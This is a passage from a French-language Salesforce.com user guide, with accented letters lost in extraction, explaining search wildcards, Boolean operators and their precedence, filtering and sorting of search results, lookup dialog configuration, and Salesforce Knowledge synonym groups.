les caractres gnriques peuvent vous aider reprer les informations voulues.
Caractre gnrique

Description

* (astrisque)

Utilisez un astrisque pour remplacer un ou plusieurs caractres l'intrieur ou la fin de la

chane de recherche. Utilisez l'astrisque au dbut du terme recherch uniquement si vous
effectuez une recherche standard.
Par exemple, la recherche de julie* renvoie toutes les variations d'lments qui dbutent
par julie, tels que julien ou juliette. La recherche de mich* mengin renvoie les lments qui
contiennent michelle mengin ou michael mengin.

? (point d'interrogation)

Utilisez un point d'interrogation pour remplacer un caractre l'intrieur ou la fin de la

chane de recherche. Par exemple, la recherche de li?e renvoie les lments qui contiennent
lise ou line. Le point d'interrogation est un caractre gnrique qui ne fonctionne pas au dbut
d'un terme de recherche.

Recherche de balises

Guide de l'utilisateur | Utilisation de caractres gnriques et d'oprateurs dans les recherches | 1906

Remarque: Notez les points suivants relatifs aux caractres gnriques :

Les caractres gnriques appliquent le type du caractre prcdent. Par exemple, aa*a renvoie aaaa et aabcda,
mais pas aa2a ni aa.!//a, et pi? renvoie pin et pig, mais pas pi1 ni pi!. De mme, 12? renvoie 123 et 124, mais pas
12a ni 12b.
La recherche prend en charge uniquement le caractre gnrique astrisque (*).
Lors de la recherche de caractres chinois, japonais, coren ou thalandais, vous ne pouvez pas insrer un astrisque
ou un point d'interrogation dans votre terme de recherche.
L'astrisque et le point d'interrogation fonctionnent comme des caractres gnriques lorsqu'ils sont placs entre
des guillemets ou lorsqu'une Expression exacte est slectionne dans la recherche avance. Par exemple, "mon
tra?" renvoie mon travail et mon train.

Oprateurs spciaux
Vous pouvez recourir des oprateurs spciaux pour affiner les rsultats. Ces oprateurs sont uniquement disponibles dans les
recherches avances, de produits, de rapports et de solutions.
Remarque: La fonction de recherche du menu latral place automatiquement des guillemets autour de la chane
recherche.

Oprateur

Description

AND

Renvoie les lments qui correspondent tous les termes recherchs. Par exemple, acme
AND bourgogne renvoie les lments qui contiennent la fois le terme acme et le terme
bourgogne.
Dans la recherche avance, l'utilisation de l'oprateur AND est facultative, car la recherche
de acme bourgogne est identique la recherche de acme AND bourgogne.

OU

Renvoie les lments qui contiennent au moins l'un des termes recherchs. Par exemple, acme
OR bourgogne renvoie les lments qui contiennent acme, bourgogne ou les deux.

AND NOT

Trouve les lments qui ne contiennent pas le terme indiqu. Par exemple, acme AND NOT
bourgogne renvoie les lments qui contiennent le terme acme mais pas le terme bourgogne.

" " (guillemets)

Placez une chane entre guillemets pour rechercher les occurrences exactes de cette chane.
La chane "runion du lundi" renvoie les lments qui contiennent l'expression exacte
runion du lundi. Ceci s'avre particulirement utile lorsque le texte recherch contient des
signes de ponctuation. Par exemple, "acme.com" renvoie les lments qui contiennent le
texte exact acme.com.. Toutefois, l'astrisque (*) et le point d'interrogation (?) fonctionnent
comme des caractres gnriques lorsqu'ils sont inclus dans une expression place entre
guillemets.

Ordre des oprations

Lorsque vous combinez plusieurs oprateurs sur une ligne, l'ordre de priorit est le suivant :
1. Parenthses ()
2. AND et AND NOT (entre ces deux, l'oprateur le plus droite est prioritaire)
3. OU
Le tableau suivant donne des exemples d'interprtation des chanes de recherche partir de ces rgles :

Recherche de balises

Guide de l'utilisateur | Conseils de recherche | 1907

Rechercher

Revient rechercher...

aaaa AND bbbb AND NOT cccc

aaaa AND (bbbb AND NOT cccc)

aaaa AND NOT bbbb AND cccc

aaaa AND NOT (bbbb AND cccc)

aaaa AND bbbb OR cccc

(aaaa AND bbbb) OR cccc

aaaa AND (bbbb OR cccc)

aaaa AND (bbbb OR cccc)

Voir aussi :
Champs de recherche
Conseils de recherche
Prsentation de la recherche

Conseils de recherche
Disponible avec : Toutes les ditions

Conseils relatifs la rdaction d'une chane de recherche

Utilisez une astrisque pour faire correspondre un ou plusieurs caractres de votre terme de recherche. Par exemple, la
chane mi* meyers recherche tous les lments contenant Mike Meyers ou Michael Meyers.
La recherche du menu latral ajoute automatiquement une astrisque la fin de la chane recherche. Par exemple, une
recherche portant sur bob jo retourne les lments tels que Bob Jones et Bob Johnson.
La recherche du menu latral utilise toujours une recherche d'expression. Par exemple, une recherche portant sur compte4
dans la recherche du menu latral quivaut rechercher "compte4"*.
Les mots des chanes de recherche sont dmarqus par des limites de lettres, de chiffres et de marques de ponctuation. Par
exemple, une recherche portant sur cpte!4 dans la recherche avance retourne les lments contenant Cpte, les lments
contenant ! et les lments contenant 4.
Utilisez le point d'interrogation pour remplacer un seul caractre de la chane de recherche, par exemple, li?e pour
rechercher lire ou lise.
Utilisez des guillemets pour rechercher des lments contenant des oprateurs ou des caractres gnriques. Par exemple,
une recherche de "acme et californie" recherche les objets contenant exactement l'expression acme et californie,
de mme que "demander Marc ?" recherche les objets contenant exactement l'expression demander Marc ?.
La ponctuation est utilise dans les recherches.
La casse n'est pas prise en compte lors des recherches. Par exemple, rechercher californie ou Californie revient
exactement au mme.
Recherchez des numros de tlphone en les tapant entirement ou seulement en partie. Par exemple, pour retrouver le
numro (415) 999-3434, vous pouvez rechercher 4159993434, 999 ou simplement 3434. Pour rechercher uniquement
les sept derniers chiffres, vous devez indiquer la ponctuation (999-3434 par exemple).

Conseils pour la limitation des rsultats de recherche

Vous pouvez limiter votre recherche aux onglets ou aux enregistrements pour un objet particulier. Dans la fonction de
recherche du menu latral, slectionnez simplement Balises ou l'objet appropri dans la liste droulante avant de saisir des

Recherche de balises

Guide de l'utilisateur | Conseils de recherche | 1908

mots-cls. Slectionnez Rechercher partout pour lancer une recherche parmi tous les objets. Dans la fonction de recherche
avance, vous pouvez limiter votre recherche des objets spcifiques l'aide des cases cocher de la section tendue.
Remarque: La liste droulante des objets disponible dans la recherche du menu latral doit tre active par votre
administrateur. Lorsque vous choisissez de lancer une recherche sur des balises ou des enregistrements dans un
objet donn, cette slection est prslectionne lors de la recherche suivante.

Utilisez la case Limiter aux lments dont je suis responsable pour que la recherche porte uniquement sur les enregistrements
dont vous tes responsable, y compris les enregistrements de rapport et de commentaire de requte que vous avez crs. Si
vous choisissez cette option dans le menu latral, cette case reste coche pour toute recherche effectue lors de cette session.
Si vous souhaitez galement rechercher les lments autres que ceux dont vous tes responsable, dslectionnez cette case.
Remarque: Lorsque vous effectuez une recherche avec la case Limiter aux lments dont je suis responsable
coche, les enregistrements d'actifs, de commandes et d'utilisateurs ne sont pas renvoys dans les rsultats de la
recherche.

Pour les entreprises ayant un modle de partage public et possdant d'importants volumes de donnes, de nombreux
enregistrements peuvent correspondre aux mots-cls que vous saisissez. Utilisez la fonction de recherche avance pour
limiter votre recherche un type d'enregistrement particulier, ou limitez les rsultats de votre recherche en saisissant des
mots-cls supplmentaires et en relanant la recherche.
Si vous n'tes pas habilit afficher tous les enregistrements correspondants, les rsultats de la recherche risquent d'tre
limits.

Conseils pour l'affichage et le tri des rsultats de recherche

La page de rsultats de recherche affiche une liste distincte pour les balises et les jeux de balises correspondants, ainsi que
pour chaque objet prsentant des rsultats correspondants. Vous pouvez cliquer sur un lien en haut de la page pour accder
directement une liste particulire de rsultats. En outre, le lien contient le nombre de rsultats pour cet objet. Par exemple,
si un lien indique Contacts [25+], plus de 25 enregistrements de contact correspondent vos critres de recherche.
Si la recherche donne un nombre important de rsultats pour un objet particulier, cliquez sur le lien Page suivante ou Page
prcdente pour accder l'ensemble de rsultats suivant ou prcdent pour cet objet.
Dans la page des rsultats de la recherche, slectionnez une entre pour y accder directement ou cliquez sur Modifier
pour la modifier.
Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau sur l'en-tte
pour trier la colonne par ordre dcroissant.
Si le tri ou le filtrage des rsultats prend trop de temps, vous pouvez arrter le processus en cliquant sur le bouton Annuler
de l'indicateur d'tat.
Les filtres d'un objet sont enregistrs lorsqu'un utilisateur filtre, trie ou consulte la liste des rsultats de la recherche. La
visibilit des options de filtre (masques ou affiches) est enregistre d'une session l'autre.
Dans la page des rsultats de la recherche, les administrateurs peuvent cliquer sur le bouton Personnaliser et slectionner
Colonnes et boutons pour tous les utilisateurs dans la liste droulante, afin de personnaliser les champs afficher dans les
rsultats de la recherche pour chaque type d'enregistrement. Les administrateurs peuvent galement slectionner Filtres
pour tous les utilisateurs, afin de slectionner jusqu' 10 filtres disponibles dans les rsultats de la recherche pour chaque
type d'enregistrement.

Recherche de balises

Guide de l'utilisateur | Affichage des rsultats de recherche | 1909

Remarque: Il est possible d'effectuer une recherche dans les champs masqus pour un utilisateur via la scurit au
niveau du champ. Lors de la recherche d'une valeur dans un champ masqu, les rsultats comprennent l'enregistrement
contenu dans le champ, mme si les utilisateurs ne peuvent pas l'afficher.

Voir aussi :
Recherche d'enregistrements
Utilisation de caractres gnriques et d'oprateurs dans les recherches
Champs de recherche
Prsentation de la recherche
Parcours, recherche et gestion des balises

Affichage des rsultats de recherche

Disponible avec : Toutes les ditions

Les rsultats de recherche comprennent uniquement les informations suivantes :

Balises personnelles que vous avez cres ou balises publiques d'enregistrements que vous pouvez consulter
Objets pour lesquels vous avez obtenu au moins une autorisation Lire
Enregistrements auxquels vous avez accs
Champs visibles dans la prsentation de recherche dfinie par votre administrateur
Champs pour lesquels vous avez un accs de scurit au niveau du champ dans Enterprise Edition, Unlimited Edition ou
Developer Edition
Enregistrements d'objets personnaliss s'ils se trouvent dans un onglet personnalis auquel vous avez accs
Enregistrements dont vous tes responsable, si vous choisissez de limiter la recherche des lments dont vous tes
responsable
Enregistrements de votre service tels qu'ils sont spcifis dans la liste droulante Services du menu latral, si votre entreprise
a recours aux services et que vous tes autoris effectuer des affectations par services.
Remarque: Utilisez la recherche avance pour rechercher simultanment des enregistrements dans plusieurs
services. Si vous ne possdez pas l'autorisation Affect par services, vos rsultats de recherche incluent les
enregistrements de tous les services.

Si vous n'tes pas satisfait de vos rsultats ou que vous souhaitez affiner votre recherche, utilisez la zone de recherche se trouvant
en haut de la page de rsultats. Lorsque l'tendue de la recherche est Tous les objets, cette zone de recherche se comporte
comme la recherche du menu latral. Si vous slectionnez Recherche avance partir de l'tendue de la recherche, vous serez
redirig vers la page de recherche avance pour modifier l'tendue de votre recherche.
Si la recherche donne un nombre important de rsultats pour un objet particulier, cliquez sur le lien Page suivante ou Page
prcdente pour accder l'ensemble de rsultats suivant ou prcdent pour cet objet.
Organisation des rsultats de recherche
Vous pouvez slectionner les colonnes afficher dans les rsultats de la recherche pour un objet et les rsultats de recherche
avance et modifier l'ordre des colonnes slectionnes :

Recherche de balises

Guide de l'utilisateur | Affichage des rsultats de recherche | 1910

1. Cliquez sur le lien Mes colonnes dans la liste associe des rsultats pour un objet approprie. Si vous avez le profil
d'administrateur systme, cliquez sur le bouton Personnaliser et slectionnez Mes colonnes dans la liste droulante.
2. Utilisez les flches Ajouter et Effacer pour dplacer les colonnes vers ou depuis les listes Champs disponibles et Champs
slectionns.
3. Utilisez les flches Haut et Bas pour modifier l'ordre des colonnes.
4. Lorsque vous avez termin, cliquez sur Enregistrer.
Conseil: Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau
sur l'en-tte pour trier la colonne par ordre dcroissant. Le tri concerne tous les rsultats obtenus pour un objet particulier,
y compris ceux des pages suivantes.
Vous ne pouvez pas trier les champs de liste de slection multiple, car vous ne pouvez pas cliquer sur les en-ttes de
colonne de ce type de champ.
Remarques sur les rsultats de la recherche

Il appartient l'administrateur de dfinir les colonnes disponibles dans la prsentation de recherche. Si l'administrateur
n'a pas cr de prsentation de recherche pour l'objet ou si aucune prsentation de recherche n'est disponible pour cet objet,
comme des documents et des rapports par exemple, vous ne pourrez pas personnaliser les colonnes.
Vous devez slectionner au moins une colonne afficher dans les rsultats.
Les colonnes personnalises ne s'appliquent qu' l'utilisateur connect et ne sont pas accessibles aux autres utilisateurs de
votre entreprise.
Il est impossible d'effectuer une recherche sur les champs crypts, mais ceux-ci peuvent tre inclus dans des rsultats de
recherche.
Les rsultats de la recherche avance peuvent s'afficher dans un ordre diffrent des rsultats de la recherche standard.
Si vous saisissez une valeur dans la case de texte de recherche, puis enregistrez l'enregistrement sans cliquer sur l'icne de
recherche ( ), Salesforce.com excute automatiquement une recherche et affecte les rsultats au champ de recherche. Si
plusieurs rsultats sont renvoys, Salesforce.com affiche une liste droulante des options qui correspondent. Si aucun rsultat
ne correspond au texte que vous avez saisi, une erreur s'affiche.
Remarque: Il est possible d'effectuer une recherche dans les champs masqus pour un utilisateur via la scurit au
niveau du champ. Lors de la recherche d'une valeur dans un champ masqu, les rsultats comprennent l'enregistrement
contenu dans le champ, mme si les utilisateurs ne peuvent pas l'afficher.

Personnalisation des filtres des rsultats de recherche

Une fois les filtres activs, les administrateurs peuvent les personnaliser pour tous les utilisateurs partir de la page de rsultats
de recherche.
Pour personnaliser des filtres pour les rsultats de recherche :
1.
2.
3.
4.

Cliquez sur Personnaliser et slectionnez Filtres pour tous les utilisateurs partir de la liste droulante.
Utilisez les flches Ajouter et Effacer pour dplacer les colonnes vers ou partir de la liste Champs disponibles.
Utilisez les flches Haut et Bas pour modifier l'ordre des colonnes.
Lorsque vous avez termin, cliquez sur Enregistrer.

Pour personnaliser des filtres pour des recherches avances :

1. Cliquez sur Configuration Personnalisation, slectionnez Comptes, Contacts, ou Utilisateurs, et cliquez sur
Prsentations de recherche. Pour accder aux prsentations de recherche pour des objets personnaliss, cliquez sur
Configuration Crer Objets, cliquez sur le nom de l'objet personnalis que vous souhaitez modifier, puis accdez
la liste associe Prsentations de recherche.
2. Cliquez sur Modifier en regard de la prsentation des champs de filtre de recherche.

Recherche de balises

Guide de l'utilisateur | Filtrage des rsultats de recherche | 1911

3. Utilisez les flches pour ajouter ou supprimer des champs de la prsentation, et dfinir leur ordre d'apparition. Vous pouvez
ajouter jusqu' six champs de filtre la liste Champs slectionns. Pour slectionner plusieurs lments la fois, cliquez
dessus tout en maintenant la touche Ctrl ou la touche Maj enfonce pour slectionner plusieurs lments dans une plage.
4. Cliquez sur Enregistrer.
Filtrage des rsultats de recherche
Si vous souhaitez limiter davantage les critres, vous pouvez filtrer les rsultats de la recherche ou de recherche avance pour
un objet particulier.
Remarque: Le filtrage concerne tous les rsultats obtenus pour un objet particulier, y compris ceux des pages suivantes.
Les filtres sont disponibles uniquement dans les rsultats de recherche si votre administrateur a cr une prsentation
de recherche pour les filtres d'un objet. Certains objets, tels que les documents et les rapports, ne peuvent pas tre
filtrs car ils ne disposent d'aucune prsentation de recherche.
Pour filtrer les rsultats :
1. Cliquez sur le lien Afficher les filtres dans la liste associe des rsultats approprie.
2. Si ncessaire, entrez les critres de filtre et cliquez sur Appliquer les filtres.

Pour effacer l'ensemble des filtres et revenir aux rsultats de la recherche initiale, cliquez sur Effacer les filtres.
Pour masquer les filtres, cliquez sur Masquer les filtres.
Remarque: Les filtres d'un objet sont enregistrs lorsqu'un utilisateur filtre, trie ou consulte la liste des rsultats de la
recherche. La visibilit des options de filtre (masques ou affiches) est enregistre d'une session l'autre.
Si le tri ou le filtrage des rsultats prend trop de temps, vous pouvez arrter le processus en cliquant sur le bouton
Annuler de l'indicateur d'tat.

Voir aussi :
Prsentation de la recherche
Recherche d'enregistrements
Conseils de recherche
Filtrage des rsultats de recherche
Parcours, recherche et gestion des balises

Filtrage des rsultats de recherche

Disponible avec : Toutes les ditions

Votre administrateur dtermine les champs disponibles pour le filtrage des rsultats de Recherches avances. Les filtres sont
disponibles uniquement dans les rsultats de recherche si votre administrateur a cr une prsentation de recherche pour les
filtres d'un objet.
Utilisez les conseils suivants lors du filtrage des rsultats de la recherche :

Recherche de balises

Guide de l'utilisateur | Filtrage des rsultats de recherche | 1912

Si vous effectuez une recherche blanche (c.--d. si vous cliquez sur l'icne de recherche sans saisir de terme rechercher) les
filtres s'appliquent uniquement aux lments de la liste la plus rcemment utilise. Sinon, les filtres s'appliquent cette
liste et aux enregistrements rsultants de la recherche.
Lors du filtrage des rsultats de la recherche, l'oprateur est automatiquement slectionn en fonction du type de champ.
L'oprateur gal est utilis pour les champs suivants :
-

Dates
Nombres, l'exception des champs de numrotation automatique ou de tlphone.
ID d'enregistrement

Tous les autres champs utilisent l'oprateur contient. Les champs de numrotation automatique et de tlphone utilisent
l'oprateur contient parce qu'ils prsentent des caractres non numriques.

Des virgules sont utilises comme oprateurs OR dans les filtres des rsultats de recherche. Toutefois, pour les champs
numriques dans lesquels la virgule peut faire partie d'un nombre, les virgules ne sont pas considres comme des oprateurs
OR. Les utilisateurs doivent alors saisir l'oprateur OR.
Remarque: Lors du filtrage des rsultats de la recherche, l'oprateur OR n'est pris en charge que dans les champs
numriques.

Les critres que vous spcifiez dans les filtres des rsultats de recherche sont bass sur l'oprateur AND. Cela signifie que
si vous spcifiez plusieurs critres, les rsultats ne contiennent que les enregistrements qui correspondent tous les critres.
Tout champ de type URL est filtr en fonction de la valeur exacte que l'utilisateur a saisie pour ce champ.
Remarque: Lorsque vous saisissez une valeur dans un champ URL et que vous l'enregistrez, Salesforce.com ajoute
http:// toute URL ne commenant pas par http:// ou https://. Toutefois, l'lment ajout (http://) n'est pas stock
dans la base de donnes. Par exemple, si vous saisissez salesforce.com dans le champ Site Web et que vous
l'enregistrez, la valeur du champ Site Web affiche http://salesforce.com, mais la valeur enregistre est en ralit
salesforce.com. Par consquent, si vous saisissez http://salesforce.com dans le champ de filtre Site Web, les
rsultats ne comportent pas votre enregistrement.

Les filtres d'un objet sont enregistrs lorsqu'un utilisateur filtre, trie ou consulte la liste des rsultats de la recherche. La
visibilit des options de filtre (masques ou affiches) est enregistre d'une session l'autre.
Vous pouvez utiliser des valeurs de date spciales ; reportez-vous Valeurs de date spciales pour les critres de filtrage
la page 1546.
Si votre entreprise utilise plusieurs devises, reportez-vous Conseils relatifs la saisie de critres de filtrage pour plusieurs
devises la page 1739.

Voir aussi :
Recherche d'enregistrements
Utilisation de caractres gnriques et d'oprateurs dans les recherches

Recherche de balises

Guide de l'utilisateur | Recherche via la bote de dialogue Recherche | 1913

Recherche via la bote de dialogue Recherche

Disponible avec : Toutes les ditions

Les objets Salesforce.com comprennent souvent un ou plusieurs champs de recherche qui permettent aux utilisateurs d'associer
deux enregistrements dans une relation. Par exemple, un enregistrement de contact comprend un champ de recherche Compte
qui reprsente la relation entre le contact et l'entreprise laquelle le contact est associ. Les utilisateurs peuvent diffrencier
les champs de recherche des autres champs car ils s'ouvrent avec le bouton

des pages de modification d'enregistrement. Le

bouton
ouvre une bote de dialogue qui permet aux utilisateurs de rechercher l'enregistrement qui doit tre associ
l'enregistrement en cours de modification. Une recherche blanche est effectue lorsque vous cliquez sur l'icne de recherche sans
saisir aucun terme.
Salesforce.com fournit deux types de recherche, comme suit :
Les recherches standard
Par dfaut, toutes les recherches se comportent comme des recherches standard. Lorsque vous recherchez des
enregistrements avec une recherche standard, seuls les champs rpertoris dans les Champs de recherche sont analyss.
Les recherches standard renvoient jusqu' 50 enregistrements la fois dans l'ordre alphabtique et n'autorisent pas les
colonnes de tri, de filtrage ou les colonnes personnalisables.
Recherches avances
Si elles sont actives par votre administrateur, les recherches de compte, de contact, d'utilisateur et d'objet personnalis
peuvent se comporter comme des recherches avances. Les recherches avances mettent jour les champs de recherche
standard avec les fonctionnalits suivantes :

Les requtes de recherches avances sont divises en termes de recherche distincts pour toutes les divisions entre les
caractres alphabtiques, numriques et spciaux. En d'autres termes, si vous saisissez ALL4ONE dans un champ de
recherche avance, la requte rsultante recherche All et 4 et ONE. Par consquent, la saisie de ALL the 4 and
ONE renvoie ALL4ONE. De mme, la recherche de S& renvoie les champ contenant S& et &S.
La recherche avance permet aux utilisateurs de trier et filtrer les rsultats de la recherche selon n'importe quel champ
disponible dans les rsultats de recherche rguliers. Les utilisateurs peuvent aussi masquer et rorganiser les colonnes
affiches dans la fentre des rsultats.
Les recherches avances retournent tous les enregistrements qui correspondent vos critres de recherche et qui vous
permettent de parcourir de grands ensembles de rsultats de recherche.
Vous pouvez utiliser des caractres gnriques dans les recherches avances, mais pas comme premier caractre du
terme ou de l'expression recherch.

Lorsque vous cliquez sur une icne de recherche avance ou standard avant de saisir quoi que ce soit dans le champ de recherche,
une liste de tous les enregistrements utiliss rcemment s'affiche. Toutefois, pour les recherches standard de produits et de
files d'attente, la bote de dialogue affiche une liste alphabtique contenant les 50 premiers enregistrements. S'il s'agit de
recherches standard de campagnes, elle affiche les 100 premires campagnes actives. Pour la recherche standard d'actifs sur
une requte, la bote de dialogue affiche tous les actifs lis au contact sur la requte, le cas chant. Si vous cliquez sur l'icne
de recherche standard ou avance en regard d'un champ renseign par une chane, la valeur de la chane est utilise en tant que
requte de recherche. Pour les recherches standard ou avances d'utilisateurs, la bote de dialogue affiche une liste
d'enregistrements utilisateur rcemment accds dans l'ensemble de votre organisation. Si vous effectuez une recherche blanche

Recherche de balises

Guide de l'utilisateur | Recherche via la bote de dialogue Recherche | 1914

(c.--d. si vous cliquez sur l'icne de recherche sans saisir de terme rechercher) les filtres s'appliquent uniquement aux lments
de la liste la plus rcemment utilise. Sinon, les filtres s'appliquent cette liste et aux enregistrements rsultants de la recherche.
Remarque: Seuls les utilisateurs actifs peuvent tre recherchs.

Excution automatique de recherche

Si elles sont actives par votre administrateur, les recherches standards et avances peuvent afficher une liste dynamique des
enregistrements rcemment utiliss correspondants lorsqu'un champ de recherche est modifi. Cette liste est limite aux objets
du type appropri et, l'exception des recherches des utilisateurs, cette liste est renseigne partir des lments utiliss
rcemment. Par exemple, lors de la modification d'une recherche de compte, vous pouvez consulter les comptes utiliss
rcemment avec les noms qui correspondent au prfixe que vous avez saisi. Les contacts utiliss rcemment n'apparaissent pas
dans cette liste.
L'excution automatique de la recherche est soumise aux restrictions suivantes :

Vous devez avoir des enregistrements visits rcemment du type appropri pour que la liste d'excution automatique de la
recherche soit renseigne.
Vous devez modifier le champ de recherche d'une page de modification d'enregistrement.

Conseils concernant l'utilisation des recherches standard et avance

Tenez compte des conseils suivants lors de l'utilisation des recherches standard et avance :

Pour largir les rsultats de recherche standard, utilisez le caractre gnrique * dans la chane recherche.
Par exemple, une recherche sur com* permet de trouver des lments commenant par com dans la chane de recherche,
tels que commerce et communaut et nouvelle communication.

Lorsque vous utilisez des caractres gnriques pour rechercher des champs de recherche avance, n'oubliez pas que les
rsultats peuvent comporter plus d'enregistrements que ce quoi vous vous attendez si votre terme de recherche comprend
des combinaisons de lettres, de chiffres et de caractres spciaux.
Si vous saisissez une valeur dans la case de texte de recherche, puis enregistrez l'enregistrement sans cliquer sur l'icne de

recherche ( ), Salesforce.com excute automatiquement une recherche et affecte les rsultats au champ de recherche. Si
plusieurs rsultats sont renvoys, Salesforce.com affiche une liste droulante des options qui correspondent. Si aucun rsultat
ne correspond au texte que vous avez saisi, une erreur s'affiche.
Un caractre gnrique est automatiquement ajout la fin de chaque terme de recherche.

Par exemple, la recherche de ba du renvoie les lments ba dupont, batrice dumontier ou ba duuro.

Pour rechercher des contacts, des pistes, des utilisateurs ou d'autres personnes dont les champs Prnom ou Nom possdent
des espaces, placez les termes entre guillemets.
Par exemple, pour rechercher luc le corre, entrez "luc le corre".

Dans les organisations dans lesquelles le portail client Salesforce.com ou le portail PRM est activ, vous pouvez filtrer les
rsultats qui s'affichent dans la bote de dialogue de recherche des utilisateurs, en slectionnant une file d'attente, un groupe
d'utilisateurs dans la liste droulante Responsable ou Attribu . Ni le groupe Utilisateur, ni le groupe Rles et
subordonns internes ne contiennent de portail Client ou d'utilisateur partenaire.

Recherche de balises

Guide de l'utilisateur | Configuration des recherches | 1915

Si votre organisation a recours aux services et si vous tes autoris effectuer des affectations par services, les rsultats de
votre bote de dialogue de recherche incluent les enregistrements du service slectionn dans la fentre de recherche.

Voir aussi :
Prsentation de la recherche
Filtrage des rsultats de recherche

Configuration des recherches

Disponible avec : Toutes les ditions

Les objets Salesforce.com comprennent souvent un ou plusieurs champs de recherche qui permettent aux utilisateurs d'associer
deux enregistrements dans une relation. Par exemple, un enregistrement de contact comprend un champ de recherche Compte
qui correspond la relation entre le contact et l'entreprise laquelle le contact est associ. Les utilisateurs peuvent diffrencier
les champs de recherche des autres champs car ils s'ouvrent avec le bouton

des pages de modification d'enregistrement. Le

bouton
ouvre une bote de dialogue qui permet aux utilisateurs de rechercher l'enregistrement qui doit tre associ
l'enregistrement en cours de modification. Une recherche blanche est effectue lorsque vous cliquez sur l'icne de recherche sans
saisir aucun terme.
Les administrateurs peuvent configurer les recherches des faons suivantes :

En activant des recherches avances et en configurant des champs de filtre de recherche

En activant l'excution automatique de recherche

Activation de recherches avances

Autorisations utilisateur requises
Pour activer des recherches avances et configurer des champs Personnaliser l'application
de filtre de recherche :

Les administrateurs peuvent activer des recherches avances selon les tapes suivantes :
1. Cliquez sur Configuration Personnalisation Recherche Paramtres de recherche.
2. Dans la zone Paramtres de recherche, slectionnez les objets pour lesquels vous souhaitez activer la fonction de recherche
avance. Actuellement, seules les recherches de compte, de contact, d'utilisateur et d'objet personnalis peuvent utiliser
cette fonction.
3. Cliquez sur Enregistrer.
Remarque: Si vous activez des recherches avances dans votre entreprise, elles sont aussi actives pour toutes les pages
Visualforce que vous crez.
Une fois que vous avez activ des recherches avances, vous pouvez spcifier des champs de filtre de recherche pour vos
utilisateurs. Si vous ne spcifiez pas de champs de filtre de recherche, vos utilisateurs ne peuvent pas utiliser de filtres dans les
botes de dialogue de recherche avance :

Recherche de balises

Guide de l'utilisateur | Configuration des recherches | 1916

1. Cliquez sur Configuration Personnaliser, slectionnez Comptes, Contacts, ou Utilisateurs, puis cliquez sur
Prsentations de recherche. Pour accder aux prsentations de recherche pour des objets personnaliss, cliquez sur
Configuration Crer Objets, cliquez sur le nom de l'objet que vous souhaitez modifier puis faites dfiler la liste
Prsentation de recherche associe.
2. Cliquez sur Modifier en regard de la prsentation des Champs de filtre de recherche.
3. Utilisez les flches pour ajouter ou supprimer des champs de la prsentation et pour dfinir leur ordre d'apparition. Vous
pouvez ajouter jusqu' six champs de filtre la liste Champs slectionns. Pour slectionner plusieurs champs la fois,
cliquez dessus tout en maintenant la touche Ctrl ou la touche Maj enfonce pour slectionner plusieurs lments dans une
plage.
4. Cliquez sur Enregistrer.
Activation de l'excution automatique de recherche
Autorisations utilisateur requises
Pour activer l'excution automatique de recherche :

Personnaliser l'application

Pour utiliser l'excution automatique de recherche :

Modifier sur l'enregistrement qui comprend le champ de

recherche

Vous pouvez faire gagner du temps vos utilisateurs en activant l'excution automatique de recherche, qui est disponible pour
les recherches de comptes, de contacts, d'utilisateurs et d'objets personnaliss. Cette fonction permet aux utilisateurs de
slectionner des lments dans une liste dynamique d'enregistrements correspondants et rcemment utiliss lorsqu'un champ
de recherche est modifi.
Les administrateurs peuvent activer l'excution automatique des recherches selon les tapes suivantes :
1. Cliquez sur Configuration Personnalisation Recherche Paramtres de recherche.
2. Dans la zone Paramtres de recherche, slectionnez les recherches d'objet pour lesquelles vous souhaitez activer l'excution
automatique. Actuellement, seules les recherches de compte, de contact, d'utilisateur et d'objet personnalis peuvent utiliser
cette fonction.
3. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de la recherche

Recherche de balises

Guide de l'utilisateur | Gestion des synonymes de la base de connaissances Salesforce Knowledge | 1917

Gestion des synonymes de la base de connaissances

Salesforce Knowledge
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des groupes de synonymes : Grer les synonymes

Les synonymes de la base de connaissances Salesforce Knowledge sont des termes ou des expressions traits de faon identique
dans les recherches d'articles. Ils permettent d'optimiser les rsultats de recherche. Lors de la recherche d'articles, les utilisateurs
peuvent saisir des termes qui ne renvoient directement aucun terme des articles, mais qui en sont synonymes. Par exemple,
si vous dfinissez un groupe de synonymes qui contient les synonymes suivants :
CRM, gestion des relations client, Salesforce.com
... la recherche de gestion des relations client renvoie les articles qui contiennent gestion des relations client et
ceux qui contiennent CRM ou Salesforce.com.
Lors de la cration de groupes de synonymes, travaillez avec les responsables de base de connaissances et des experts dans divers
domaines de votre organisation afin de crer des synonymes pertinents.
Pour afficher et grer les synonymes, cliquez sur Configuration Personnalisation Recherche Synonymes de la base
de connaissances.

Pour crer un groupe de synonymes, cliquez sur Nouveau. Saisissez au moins deux synonymes. Un synonyme peut tre un
terme ou une expression. Vous pouvez ajouter jusqu' 300 groupes de synonymes.
Remarque: Vous ne pouvez pas utiliser les symboles suivants dans des synonymes :

Symbole

Description

Astrisque

Point d'interrogation

"

Guillemet

Parenthse ouvrante

Parenthse fermante

Pour filtrer une longue liste de groupes, cliquez sur Afficher les filtres, saisissez tout ou partir d'un synonyme dans le champ
Synonymes, puis cliquez sur Appliquer les filtres.
Pour modifier un groupe de synonymes, cliquez sur Modifier en regard du groupe de synonymes, puis mettez jour les
synonymes selon vos besoins.

Recherche de balises

Guide de l'utilisateur | Fonctionnement des synonymes Salesforce Knowledge dans les recherches | 1918

Pour supprimer un groupe de synonymes, cliquez sur Suppr en regard de son nom.

Voir aussi :
Fonctionnement des synonymes Salesforce Knowledge dans les recherches
Recherche d'articles

Fonctionnement des synonymes Salesforce Knowledge

dans les recherches
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Les synonymes de la base de connaissances Salesforce Knowledge affectent le comportement de recherche comme suit :
Priorit
Si un terme recherch fait partie d'un groupe de synonymes, les rsultats de recherche renvoient les lments qui
contiennent le terme recherch, suivis des lments contenant d'autre termes du groupe de synonymes.
Par exemple, si le groupe de synonymes suivant est dfini :
fruit, oranges
... la recherche de oranges renvoie une liste des lments qui contiennent oranges, suivie des lments qui contiennent
fruit.
Remarque: Sous l'onglet Gestion des articles, si vous triez la liste en cliquant sur un en-tte de colonne, l'ordre
de tri, pas la priorit, est conserv dans les recherches actuelles et ultrieures.

Caractres gnriques la page 1905

